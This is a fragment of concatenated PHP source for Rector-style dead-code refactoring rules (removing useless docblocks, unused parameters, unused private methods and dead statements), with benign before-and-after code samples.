CODE_SAMPLE , ['method'])]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassLike::class, FunctionLike::class, Property::class, ClassConst::class]; } /** * @param ClassLike|FunctionLike|Property|ClassConst $node */ public function refactor(Node $node) : ?Node { Assert::notEmpty($this->annotationsToRemove); $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $hasChanged = \false; foreach ($this->annotationsToRemove as $annotationToRemove) { $namedHasChanged = $this->phpDocTagRemover->removeByName($phpDocInfo, $annotationToRemove); if ($namedHasChanged) { $hasChanged = \true; } if (!\is_a($annotationToRemove, PhpDocTagValueNode::class, \true)) { continue; } $typedHasChanged = $phpDocInfo->removeByType($annotationToRemove); if ($typedHasChanged) { $hasChanged = \true; } } if ($hasChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString($configuration); $this->annotationsToRemove = $configuration; } } varTagRemover = $varTagRemover; $this->staticTypeMapper = $staticTypeMapper; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove @var annotation for PHPUnit\\Framework\\MockObject\\MockObject combined with native object type', [new CodeSample(<<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; use PHPUnit\Framework\MockObject\MockObject; final class SomeTest extends TestCase { /** * @var SomeClass|MockObject */ private SomeClass $someProperty; } CODE_SAMPLE , <<<'CODE_SAMPLE' use PHPUnit\Framework\TestCase; use PHPUnit\Framework\MockObject\MockObject; final class SomeTest extends TestCase { private SomeClass $someProperty; } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->isObjectType($node, new ObjectType(ClassName::TEST_CASE_CLASS))) { return null; } $hasChanged = \false; foreach ($node->getProperties() as $property) { // not yet typed if (!$property->type instanceof Node) { continue; } if (\count($property->props) !== 1) { continue; } if (!$property->type instanceof FullyQualified) { continue; } if ($this->isObjectType($property->type, new ObjectType(self::MOCK_OBJECT_CLASS))) { continue; } $propertyDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); if (!$this->isVarTagUnionTypeMockObject($propertyDocInfo, $property)) { continue; } // clear var docblock if ($this->varTagRemover->removeVarTag($property)) { $hasChanged = \true; } } if (!$hasChanged) { return null; } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } private function isVarTagUnionTypeMockObject(PhpDocInfo $phpDocInfo, Property $property) : bool { $varTagValueNode = $phpDocInfo->getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return \false; } if (!$varTagValueNode->type instanceof UnionTypeNode) { return \false; } $varTagType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($varTagValueNode->type, $property); if (!$varTagType instanceof UnionType) { return \false; } foreach ($varTagType->getTypes() as $unionedType) { if ($unionedType->isSuperTypeOf(new ObjectType(self::MOCK_OBJECT_CLASS))->yes()) { return \true; } } return \false; } } classMethodManipulator = $classMethodManipulator; $this->controllerClassMethodManipulator = $controllerClassMethodManipulator; $this->paramAnalyzer = $paramAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove empty class methods not required by parents', [new CodeSample(<<<'CODE_SAMPLE' class OrphanClass { public function __construct() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class OrphanClass { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Class_ { $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof ClassMethod) { continue; } if ($stmt->stmts !== null && $stmt->stmts !== []) { continue; } if ($stmt->isAbstract()) { continue; } if ($stmt->isFinal() && !$node->isFinal()) { continue; } if ($this->shouldSkipNonFinalNonPrivateClassMethod($node, $stmt)) { continue; } if ($this->shouldSkipClassMethod($node, $stmt)) { continue; } unset($node->stmts[$key]); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkipNonFinalNonPrivateClassMethod(Class_ $class, ClassMethod $classMethod) : bool { if ($class->isFinal()) { return \false; } if ($classMethod->isMagic()) { return \false; } if ($classMethod->isProtected()) { return \true; } return $classMethod->isPublic(); } private function shouldSkipClassMethod(Class_ $class, ClassMethod $classMethod) : bool { $desiredClassMethodName = $this->getName($classMethod); // is method called somewhere else in the class? foreach ($class->getMethods() as $anotherClassMethod) { if ($anotherClassMethod === $classMethod) { continue; } if ($this->containsMethodCall($anotherClassMethod, $desiredClassMethodName)) { return \true; } } if ($this->classMethodManipulator->isNamedConstructor($classMethod)) { return \true; } if ($this->classMethodManipulator->hasParentMethodOrInterfaceMethod($class, $classMethod->name->toString())) { return \true; } if ($this->paramAnalyzer->hasPropertyPromotion($classMethod->params)) { return \true; } if ($this->hasDeprecatedAnnotation($classMethod)) { return \true; } if ($this->controllerClassMethodManipulator->isControllerClassMethod($class, $classMethod)) { return \true; } if ($this->nodeNameResolver->isName($classMethod, MethodName::CONSTRUCT)) { // has parent class? return $class->extends instanceof FullyQualified; } return $this->nodeNameResolver->isName($classMethod, MethodName::INVOKE); } private function hasDeprecatedAnnotation(ClassMethod $classMethod) : bool { $phpDocInfo = $this->phpDocInfoFactory->createFromNode($classMethod); if (!$phpDocInfo instanceof PhpDocInfo) { return \false; } return $phpDocInfo->hasByType(DeprecatedTagValueNode::class); } private function containsMethodCall(ClassMethod $anotherClassMethod, string $desiredClassMethodName) : bool { return (bool) $this->betterNodeFinder->findFirst($anotherClassMethod, function (Node $node) use($desiredClassMethodName) : bool { if (!$node instanceof MethodCall) { return \false; } if (!$node->var instanceof Variable) { return \false; } if (!$this->isName($node->var, 'this')) { return \false; } return $this->isName($node->name, $desiredClassMethodName); }); } } docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove @var/@param/@return null docblock', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @return null */ public function foo() { return null; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function foo() { return null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Expression::class, Property::class]; } /** * @param ClassMethod|Function_|Expression|Property $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Expression || $node instanceof Property) { return $this->processVarTagNull($node); } $phpdocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $removedParamNames = []; foreach ($node->params as $param) { $paramName = $this->getName($param); $paramTagValueNode = $phpdocInfo->getParamTagValueByName($paramName); if ($paramTagValueNode instanceof ParamTagValueNode && $this->isNull($paramTagValueNode)) { $removedParamNames[] = $paramTagValueNode->parameterName; } } $hasRemoved = \false; if ($removedParamNames !== []) { $this->removeParamNullTag($phpdocInfo, $removedParamNames); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); $hasRemoved = \true; } $returnTagValueNode = $phpdocInfo->getReturnTagValue(); if ($returnTagValueNode instanceof ReturnTagValueNode && $this->isNull($returnTagValueNode)) { $phpdocInfo->removeByType(ReturnTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); $hasRemoved = \true; } if (!$hasRemoved) { return null; } return $node; } /** * @param \PHPStan\PhpDocParser\Ast\PhpDoc\VarTagValueNode|\PHPStan\PhpDocParser\Ast\PhpDoc\ParamTagValueNode|\PHPStan\PhpDocParser\Ast\PhpDoc\ReturnTagValueNode $tag */ private function isNull($tag) : bool { return $tag->type instanceof IdentifierTypeNode && $tag->type->__toString() === 'null' && $tag->description === ''; } /** * @param string[] $paramNames */ private function removeParamNullTag(PhpDocInfo $phpDocInfo, array $paramNames) : void { $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($phpDocInfo->getPhpDocNode(), '', static function (AstNode $astNode) use($paramNames) : ?int { if (!$astNode instanceof PhpDocTagNode) { return null; } if (!$astNode->value instanceof ParamTagValueNode) { return null; } if (\in_array($astNode->value->parameterName, $paramNames, \true)) { return PhpDocNodeTraverser::NODE_REMOVE; } return null; }); } /** * @param \PhpParser\Node\Stmt\Expression|\PhpParser\Node\Stmt\Property $node */ private function processVarTagNull($node) : ?Node { $phpdocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $varTagValueNode = $phpdocInfo->getVarTagValueNode(); if ($varTagValueNode instanceof VarTagValueNode && $this->isNull($varTagValueNode)) { $phpdocInfo->removeByType(VarTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } return null; } } paramAnalyzer = $paramAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->classMethodParamRemover = $classMethodParamRemover; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused parameter in constructor', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private $hey; public function __construct($hey, $man) { $this->hey = $hey; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private $hey; public function __construct($hey) { $this->hey = $hey; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $constructorClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructorClassMethod instanceof ClassMethod) { return null; } if ($constructorClassMethod->params === []) { return null; } if ($this->paramAnalyzer->hasPropertyPromotion($constructorClassMethod->params)) { return null; } if ($constructorClassMethod->isAbstract()) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } $interfaces = $classReflection->getInterfaces(); foreach ($interfaces as $interface) { if ($interface->hasNativeMethod(MethodName::CONSTRUCT)) { return null; } } $changedConstructorClassMethod = $this->classMethodParamRemover->processRemoveParams($constructorClassMethod); if (!$changedConstructorClassMethod instanceof ClassMethod) { return null; } return $node; } } variadicFunctionLikeDetector = $variadicFunctionLikeDetector; $this->unusedParameterResolver = $unusedParameterResolver; $this->phpDocTagRemover = $phpDocTagRemover; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused parameter, if not required by interface or parent class', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { private function run($value, $value2) { $this->value = $value; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { private function run($value) { $this->value = $value; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkipClassMethod($classMethod)) { continue; } $unusedParameters = $this->unusedParameterResolver->resolve($classMethod); if ($unusedParameters === []) { continue; } $unusedParameterPositions = \array_keys($unusedParameters); foreach (\array_keys($classMethod->params) as $key) { if (!\in_array($key, $unusedParameterPositions, \true)) { continue; } unset($classMethod->params[$key]); } // reset param keys $classMethod->params = \array_values($classMethod->params); $this->clearPhpDocInfo($classMethod, $unusedParameters); $this->removeCallerArgs($node, $classMethod, $unusedParameters); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } /** * @param Param[] $unusedParameters */ private function removeCallerArgs(Class_ $class, ClassMethod $classMethod, array $unusedParameters) : void { $classMethods = $class->getMethods(); if ($classMethods === []) { return; } $methodName = $this->nodeNameResolver->getName($classMethod); $keysArg = \array_keys($unusedParameters); foreach ($classMethods as $classMethod) { /** @var MethodCall[] $callers */ $callers = $this->resolveCallers($classMethod, $methodName); if ($callers === []) { continue; } foreach ($callers as $caller) { $this->cleanupArgs($caller, $keysArg); } } } /** * @param int[] $keysArg */ private function cleanupArgs(MethodCall $methodCall, array $keysArg) : void { if ($methodCall->isFirstClassCallable()) { return; } $args = $methodCall->getArgs(); foreach (\array_keys($args) as $key) { if (\in_array($key, $keysArg, \true)) { unset($args[$key]); } } // reset arg keys $methodCall->args = \array_values($args); } /** * @return MethodCall[] */ private function resolveCallers(ClassMethod $classMethod, string $methodName) : array { return $this->betterNodeFinder->find($classMethod, function (Node $subNode) use($methodName) : bool { if (!$subNode instanceof MethodCall) { return \false; } if ($subNode->isFirstClassCallable()) { return \false; } if (!$subNode->var instanceof Variable) { return \false; } if (!$this->nodeNameResolver->isName($subNode->var, 'this')) { return \false; } return $this->nodeNameResolver->isName($subNode->name, $methodName); }); } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { if (!$classMethod->isPrivate()) { return \true; } if ($classMethod->params === []) { return \true; } return $this->variadicFunctionLikeDetector->isVariadic($classMethod); } /** * @param Param[] $unusedParameters */ private function clearPhpDocInfo(ClassMethod $classMethod, array $unusedParameters) : void { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); $hasChanged = \false; foreach ($unusedParameters as $unusedParameter) { $parameterName = $this->getName($unusedParameter->var); if ($parameterName === null) { continue; } $paramTagValueNode = $phpDocInfo->getParamTagValueByName($parameterName); if (!$paramTagValueNode instanceof ParamTagValueNode) { continue; } if ($paramTagValueNode->parameterName !== '$' . $parameterName) { continue; } $hasTagRemoved = $this->phpDocTagRemover->removeTagValueFromNode($phpDocInfo, $paramTagValueNode); if ($hasTagRemoved) { $hasChanged = \true; } } if ($hasChanged) { $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($classMethod); } } } isClassMethodUsedAnalyzer = $isClassMethodUsedAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused private method', [new CodeSample(<<<'CODE_SAMPLE' final class SomeController { public function run() { return 5; } private function skip() { return 10; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeController { public function run() { return 5; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $classMethods = $node->getMethods(); if ($classMethods === []) { return null; } $filter = static function (ClassMethod $classMethod) : bool { return $classMethod->isPrivate(); }; $privateMethods = \array_filter($classMethods, $filter); if ($privateMethods === []) { return null; } if ($this->hasDynamicMethodCallOnFetchThis($classMethods)) { return null; } $hasChanged = \false; $classReflection = $this->reflectionResolver->resolveClassReflection($node); foreach ($privateMethods as $privateMethod) { if ($this->shouldSkip($privateMethod, $classReflection)) { continue; } if ($this->isClassMethodUsedAnalyzer->isClassMethodUsed($node, $privateMethod, $scope)) { continue; } unset($node->stmts[$privateMethod->getAttribute(AttributeKey::STMT_KEY)]); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkip(ClassMethod $classMethod, ?ClassReflection $classReflection) : bool { if (!$classReflection instanceof ClassReflection) { return \true; } // unreliable to detect trait, interface, anonymous class: doesn't make sense if ($classReflection->isTrait()) { return \true; } if ($classReflection->isInterface()) { return \true; } if ($classReflection->isAnonymous()) { return \true; } // skip magic methods - @see https://www.php.net/manual/en/language.oop5.magic.php if ($classMethod->isMagic()) { return \true; } return $classReflection->hasMethod(MethodName::CALL); } /** * @param ClassMethod[] $classMethods */ private function hasDynamicMethodCallOnFetchThis(array $classMethods) : bool { foreach ($classMethods as $classMethod) { $isFound = (bool) $this->betterNodeFinder->findFirst((array) $classMethod->getStmts(), function (Node $subNode) : bool { if (!$subNode instanceof MethodCall) { return \false; } if (!$subNode->var instanceof Variable) { return \false; } if (!$this->nodeNameResolver->isName($subNode->var, 'this')) { return \false; } return $subNode->name instanceof Variable; }); if ($isFound) { return \true; } } return \false; } } propertyFetchFinder = $propertyFetchFinder; $this->visibilityManipulator = $visibilityManipulator; $this->propertyWriteonlyAnalyzer = $propertyWriteonlyAnalyzer; $this->betterNodeFinder = $betterNodeFinder; $this->reflectionResolver = $reflectionResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->phpDocTagRemover = $phpDocTagRemover; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused promoted property', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function __construct( private $someUnusedDependency, private $usedDependency ) { } public function getUsedDependency() { return $this->usedDependency; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct( private $usedDependency ) { } public function getUsedDependency() { return $this->usedDependency; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return null; } if ($constructClassMethod->params === []) { return null; } if ($this->shouldSkipClass($node)) { return null; } $hasChanged = \false; $phpDocInfo = $this->phpDocInfoFactory->createFromNode($constructClassMethod); foreach ($constructClassMethod->params as $key => $param) { // only private local scope; removing public property might be dangerous if (!$this->visibilityManipulator->hasVisibility($param, Visibility::PRIVATE)) { continue; } $paramName = $this->getName($param); $propertyFetches = $this->propertyFetchFinder->findLocalPropertyFetchesByName($node, $paramName); if ($propertyFetches !== []) { continue; } if (!$this->propertyWriteonlyAnalyzer->arePropertyFetchesExclusivelyBeingAssignedTo($propertyFetches)) { continue; } // always changed on below code $hasChanged = \true; // is variable used? only remove property, keep param $variable = $this->betterNodeFinder->findVariableOfName((array) $constructClassMethod->stmts, $paramName); if ($variable instanceof Variable) { $param->flags = 0; continue; } if ($phpDocInfo instanceof PhpDocInfo) { $paramTagValueNode = $phpDocInfo->getParamTagValueByName($paramName); if ($paramTagValueNode instanceof ParamTagValueNode) { $this->phpDocTagRemover->removeTagValueFromNode($phpDocInfo, $paramTagValueNode); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($constructClassMethod); } } // remove param unset($constructClassMethod->params[$key]); } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::PROPERTY_PROMOTION; } private function shouldSkipClass(Class_ $class) : bool { if ($class->attrGroups !== []) { return \true; } $magicGetMethod = $class->getMethod(MethodName::__GET); if ($magicGetMethod instanceof ClassMethod) { return \true; } foreach ($class->stmts as $stmt) { if ($stmt instanceof TraitUse) { return \true; } } $classReflection = $this->reflectionResolver->resolveClassReflection($class); if ($classReflection instanceof ClassReflection) { $interfaces = $classReflection->getInterfaces(); foreach ($interfaces as $interface) { if ($interface->hasNativeMethod(MethodName::CONSTRUCT)) { return \true; } } } return \false; } } variadicFunctionLikeDetector = $variadicFunctionLikeDetector; $this->classMethodParamRemover = $classMethodParamRemover; $this->magicClassMethodAnalyzer = $magicClassMethodAnalyzer; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unused parameter in public method on final class without extends and interface', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run($a, $b) { echo $a; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run($a) { echo $a; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { // may have child, or override parent that needs to follow the signature if (!$node->isFinal() || $node->extends instanceof FullyQualified || $node->implements !== []) { return null; } $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkipClassMethod($classMethod, $node)) { continue; } $changedMethod = $this->classMethodParamRemover->processRemoveParams($classMethod); if (!$changedMethod instanceof ClassMethod) { continue; } $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkipClassMethod(ClassMethod $classMethod, Class_ $class) : bool { // private method is handled by different rule if (!$classMethod->isPublic()) { return \true; } if ($classMethod->params === []) { return \true; } // parameter is required for contract coupling if ($this->isName($classMethod->name, '__invoke') && $this->phpAttributeAnalyzer->hasPhpAttribute($class, 'Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler')) { return \true; } if ($this->magicClassMethodAnalyzer->isUnsafeOverridden($classMethod)) { return \true; } return $this->variadicFunctionLikeDetector->isVariadic($classMethod); } } paramTagRemover = $paramTagRemover; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove @param docblock with same type as parameter type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @param string $a * @param string $b description */ public function foo(string $a, string $b) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @param string $b description */ public function foo(string $a, string $b) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactor(Node $node) : ?Node { $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $hasChanged = $this->paramTagRemover->removeParamTagsIfUseless($phpDocInfo, $node); if ($hasChanged) { return $node; } return null; } } exprAnalyzer = $exprAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove useless return Expr in __construct()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function __construct() { if (rand(0, 1)) { $this->init(); return true; } if (rand(2, 3)) { return parent::construct(); } $this->execute(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct() { if (rand(0, 1)) { $this->init(); return; } if (rand(2, 3)) { parent::construct(); return; } $this->execute(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } if (!$this->isName($node, MethodName::CONSTRUCT)) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable($node->stmts, function (Node $subNode) use(&$hasChanged) { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Return_) { return null; } if (!$subNode->expr instanceof Expr) { return null; } $hasChanged = \true; if ($this->exprAnalyzer->isDynamicExpr($subNode->expr)) { return [new Expression($subNode->expr), new Return_()]; } $subNode->expr = null; return $subNode; }); if ($hasChanged) { return $node; } return null; } } returnTagRemover = $returnTagRemover; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove @return docblock with same type as defined in PHP', [new CodeSample(<<<'CODE_SAMPLE' use stdClass; class SomeClass { /** * @return stdClass */ public function foo(): stdClass { } } CODE_SAMPLE , <<<'CODE_SAMPLE' use stdClass; class SomeClass { public function foo(): stdClass { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactor(Node $node) : ?Node { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $hasChanged = $this->returnTagRemover->removeReturnTagIfUseless($phpDocInfo, $node); if (!$hasChanged) { return null; } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } } > */ public function getNodeTypes() : array { return [Concat::class]; } /** * @param Concat $node */ public function refactor(Node $node) : ?Node { if (!$node->left instanceof String_ && !$node->right instanceof String_) { return null; } $node->left = $this->removeStringCast($node->left); $node->right = $this->removeStringCast($node->right); return $node; } private function removeStringCast(Expr $expr) : Expr { return $expr instanceof String_ ? $expr->expr : $expr; } } phpVersionProvider = $phpVersionProvider; $this->phpVersion = $this->phpVersionProvider->provide(); } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unneeded PHP_VERSION_ID conditional checks', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if (PHP_VERSION_ID < 80000) { return; } echo 'do something'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { echo 'do something'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node * @return null|int|Stmt[] */ public function refactor(Node $node) { /** * $this->phpVersionProvider->provide() fallback is here as $currentFileProvider must be accessed after initialization */ if ($this->phpVersion === null) { $this->phpVersion = $this->phpVersionProvider->provide(); } if (!$node->cond instanceof BinaryOp) { return null; } $binaryOp = $node->cond; if ($binaryOp->left instanceof ConstFetch && $this->isName($binaryOp->left->name, 'PHP_VERSION_ID')) { return $this->refactorConstFetch($binaryOp->left, $node, $binaryOp); } if (!$binaryOp->right instanceof ConstFetch) { return null; } if (!$this->isName($binaryOp->right->name, 'PHP_VERSION_ID')) { return null; } return $this->refactorConstFetch($binaryOp->right, $node, $binaryOp); } /** * @return null|Stmt[]|int */ private function refactorSmaller(ConstFetch $constFetch, Smaller $smaller, If_ $if) { if ($smaller->left === $constFetch) { return $this->refactorSmallerLeft($smaller); } if ($smaller->right === $constFetch) { return $this->refactorSmallerRight($smaller, $if); } return null; } /** * @return null|int|Stmt[] */ private function processGreaterOrEqual(ConstFetch $constFetch, GreaterOrEqual $greaterOrEqual, If_ $if) { if ($greaterOrEqual->left === $constFetch) { return $this->refactorGreaterOrEqualLeft($greaterOrEqual, $if); } if ($greaterOrEqual->right === $constFetch) { return $this->refactorGreaterOrEqualRight($greaterOrEqual); } return null; } private function refactorSmallerLeft(Smaller $smaller) : ?int { $value = $smaller->right; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion >= $value->value) { return NodeTraverser::REMOVE_NODE; } return null; } /** * @return null|Stmt[]|int */ private function refactorSmallerRight(Smaller $smaller, If_ $if) { $value = $smaller->left; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion < $value->value) { return null; } if ($if->stmts === []) { return NodeTraverser::REMOVE_NODE; } return $if->stmts; } /** * @return null|Stmt[]|int */ private function refactorGreaterOrEqualLeft(GreaterOrEqual $greaterOrEqual, If_ $if) { $value = $greaterOrEqual->right; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion < $value->value) { return null; } if ($if->stmts === []) { return NodeTraverser::REMOVE_NODE; } return $if->stmts; } private function refactorGreaterOrEqualRight(GreaterOrEqual $greaterOrEqual) : ?int { $value = $greaterOrEqual->left; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion >= $value->value) { return NodeTraverser::REMOVE_NODE; } return null; } /** * @return null|Stmt[]|int */ private function refactorGreater(ConstFetch $constFetch, Greater $greater, If_ $if) { if ($greater->left === $constFetch) { return $this->refactorGreaterLeft($greater, $if); } if ($greater->right === $constFetch) { return $this->refactorGreaterRight($greater); } return null; } /** * @return null|Stmt[]|int */ private function refactorGreaterLeft(Greater $greater, If_ $if) { $value = $greater->right; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion < $value->value) { return null; } if ($if->stmts === []) { return NodeTraverser::REMOVE_NODE; } return $if->stmts; } private function refactorGreaterRight(Greater $greater) : ?int { $value = $greater->left; if (!$value instanceof LNumber) { return null; } if ($this->phpVersion >= $value->value) { return NodeTraverser::REMOVE_NODE; } return null; } /** * @return null|Stmt[]|int */ private function refactorConstFetch(ConstFetch $constFetch, If_ $if, BinaryOp $binaryOp) { if ($binaryOp instanceof Smaller) { return $this->refactorSmaller($constFetch, $binaryOp, $if); } if ($binaryOp instanceof GreaterOrEqual) { return $this->processGreaterOrEqual($constFetch, $binaryOp, $if); } if ($binaryOp instanceof Greater) { return $this->refactorGreater($constFetch, $binaryOp, $if); } return null; } } livingCodeManipulator = $livingCodeManipulator; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Removes dead code statements', [new CodeSample(<<<'CODE_SAMPLE' $value = 5; $value; CODE_SAMPLE , <<<'CODE_SAMPLE' $value = 5; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Node[]|Node|null|int */ public function refactor(Node $node) { if ($this->hasGetMagic($node)) { return null; } $livingCode = $this->livingCodeManipulator->keepLivingCodeFromExpr($node->expr); if ($livingCode === []) { return $this->removeNodeAndKeepComments($node); } if ($livingCode === [$node->expr]) { return null; } $newNode = clone $node; $newNode->expr = \array_shift($livingCode); $newNodes = []; foreach ($livingCode as $singleLivingCode) { $newNodes[] = new Expression($singleLivingCode); } $newNodes[] = $newNode; return $newNodes; } private function hasGetMagic(Expression $expression) : bool { if (!$this->propertyFetchAnalyzer->isPropertyFetch($expression->expr)) { return \false; } /** @var PropertyFetch|StaticPropertyFetch $propertyFetch */ $propertyFetch = $expression->expr; $phpPropertyReflection = $this->reflectionResolver->resolvePropertyReflectionFromPropertyFetch($propertyFetch); /** * property not found assume has class has __get method * that can call non-defined property, that can have some special handling, eg: throw on special case */ return !$phpPropertyReflection instanceof PhpPropertyReflection; } /** * @return int|\PhpParser\Node */ private function removeNodeAndKeepComments(Expression $expression) { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($expression); if ($expression->getComments() !== []) { $nop = new Nop(); $nop->setAttribute(AttributeKey::PHP_DOC_INFO, $phpDocInfo); return $nop; } return NodeTraverser::REMOVE_NODE; } } > */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node */ public function refactor(Node $node) : ?int { if (!$node->expr instanceof Assign) { return null; } $assign = $node->expr; if (!$this->nodeComparator->areNodesEqual($assign->var, $assign->expr)) { return 